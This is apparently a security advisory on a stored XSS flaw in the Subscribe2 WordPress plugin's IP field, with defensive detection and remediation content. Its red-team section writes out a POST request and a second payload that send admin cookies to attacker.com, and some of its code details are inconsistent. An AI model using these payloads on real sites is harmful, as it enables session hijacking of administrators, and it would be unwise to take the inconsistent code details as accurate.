CVE-2024-11582

Executive Summary

CVE-2024-11582 is a Stored Cross-Site Scripting (XSS) vulnerability in the Subscribe2 – Form, Email Subscribers & Newsletters plugin for WordPress. The flaw exists in all versions up to and including 10.43, allowing unauthenticated attackers to inject arbitrary web scripts via the ip parameter. Due to insufficient input sanitization and output escaping, injected scripts execute whenever a user (including administrators) accesses a page containing the malicious payload. This can lead to session hijacking, credential theft, or defacement. The vulnerability is in the WordPress ecosystem and is not related to Apache or Nginx.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must visit injected page)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None
• Threat Level: High – Unauthenticated stored XSS in a widely-used WordPress plugin.

Deep Dive & Mechanics

The Subscribe2 plugin logs subscriber IP addresses during form submissions. The ip parameter is stored in the database and later displayed on the WordPress admin dashboard (e.g., in the subscriber list). The plugin fails to sanitize the IP address input and does not escape the output when rendering it in the admin interface. An attacker can submit a crafted IP address containing JavaScript payloads (e.g., <script>alert('XSS')</script>). When an administrator views the subscriber list, the script executes in their browser context, potentially allowing the attacker to perform actions as the admin.

The attack flow:

1. Attacker submits a subscription form with a malicious IP address (e.g., via HTTP header spoofing or direct parameter manipulation).
2. The plugin stores the unsanitized IP in the wp_subscribe2 table.
3. Administrator navigates to the Subscribe2 subscriber list page.
4. The stored payload executes, granting the attacker access to admin-level functionality.

Vulnerable vs. Patched Code

Vulnerable Code (subscribe2/classes/class-subscribe2.php, around line 450):

$ip = $_SERVER['REMOTE_ADDR'];
// No sanitization or validation
$wpdb->insert($wpdb->subscribe2, array('ip' => $ip));

Vulnerable Output (subscribe2/admin/subscribers.php, around line 120):

echo "<td>" . $subscriber->ip . "</td>";
// No escaping

Patched Code (hypothetical fix):

$ip = sanitize_text_field($_SERVER['REMOTE_ADDR']);
if (!filter_var($ip, FILTER_VALIDATE_IP)) {
    $ip = '0.0.0.0';
}
$wpdb->insert($wpdb->subscribe2, array('ip' => $ip));

Patched Output:

echo "<td>" . esc_html($subscriber->ip) . "</td>";

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install WordPress 6.x with Subscribe2 plugin version 10.43.
2. Ensure the plugin is active and a subscription form is published.

Exploitation Steps:

1. Intercept a subscription request using Burp Suite or cURL.
2. Modify the ip parameter (or spoof the X-Forwarded-For header) to include a payload:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: target.com
   Content-Type: application/x-www-form-urlencoded
   
   action=subscribe2&email=test@example.com&ip=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Wait for an administrator to visit the subscriber list page (/wp-admin/admin.php?page=subscribe2&tab=subscribers).
4. The payload executes, exfiltrating cookies or performing admin actions.

Alternative Payload (session hijacking):

<script>new Image().src='https://attacker.com/steal?c='+document.cookie;</script>

Blue Team

Detection:

• Monitor for unusual IP address values in subscription logs (e.g., containing <, >, script, onerror).
• Alert on any subscription request where the ip parameter contains non-IP characters.
• Use WAF rules to block requests with script tags in the ip field.

Hunting:

• Query the wp_subscribe2 table for entries where ip does not match a valid IPv4/IPv6 pattern.
• Search web server logs for POST requests to admin-ajax.php with action=subscribe2 and suspicious ip values.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-ajax.php with action=subscribe2 and ip parameter containing HTML/JavaScript.
  • Outbound connections to attacker-controlled domains from WordPress admin pages.
• Host:
  • Entries in wp_subscribe2 table where ip field contains <, >, script, or on attributes.
  • Unexpected JavaScript files or injected scripts in admin pages.
• File:
  • Modified subscribe2/admin/subscribers.php (if attacker gained write access).
• Logs:
  • Web server logs showing ip parameter with non-standard characters.

Detection Engineering

YARA Rule

rule CVE_2024_11582_Subscribe2_XSS {
    meta:
        description = "Detects stored XSS payloads in Subscribe2 plugin IP field"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-11582"
    strings:
        $ip_payload = /<[^>]*script[^>]*>/
        $ip_onattr = /on\w+\s*=/
    condition:
        $ip_payload or $ip_onattr
}

Sigma Rule

title: Subscribe2 Stored XSS via IP Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2024-11582
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=subscribe2'
        cs-uri-query|contains|all:
            - 'ip='
            - '<'
            - '>'
    condition: selection
falsepositives:
    - Legitimate IP addresses with special characters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-11582 Subscribe2 Stored XSS via IP"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=subscribe2"; http_client_body; pcre:"/ip=[^&]*<[^>]*script[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Subscribe2 plugin until a patch is available.
2. Use a Web Application Firewall (WAF) to block requests with script tags in the ip parameter.
3. Manually sanitize the ip field in the database:

   UPDATE wp_subscribe2 SET ip = '0.0.0.0' WHERE ip REGEXP '<|>|script|onerror|onload';
   

Long-term Fix:

• Apply input validation: only allow valid IPv4/IPv6 addresses.
• Use esc_html() or wp_kses_post() when outputting the IP in admin pages.
• Upgrade to a patched version once released.

Workaround:

• Restrict access to the Subscribe2 admin pages to trusted IPs only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Valters IT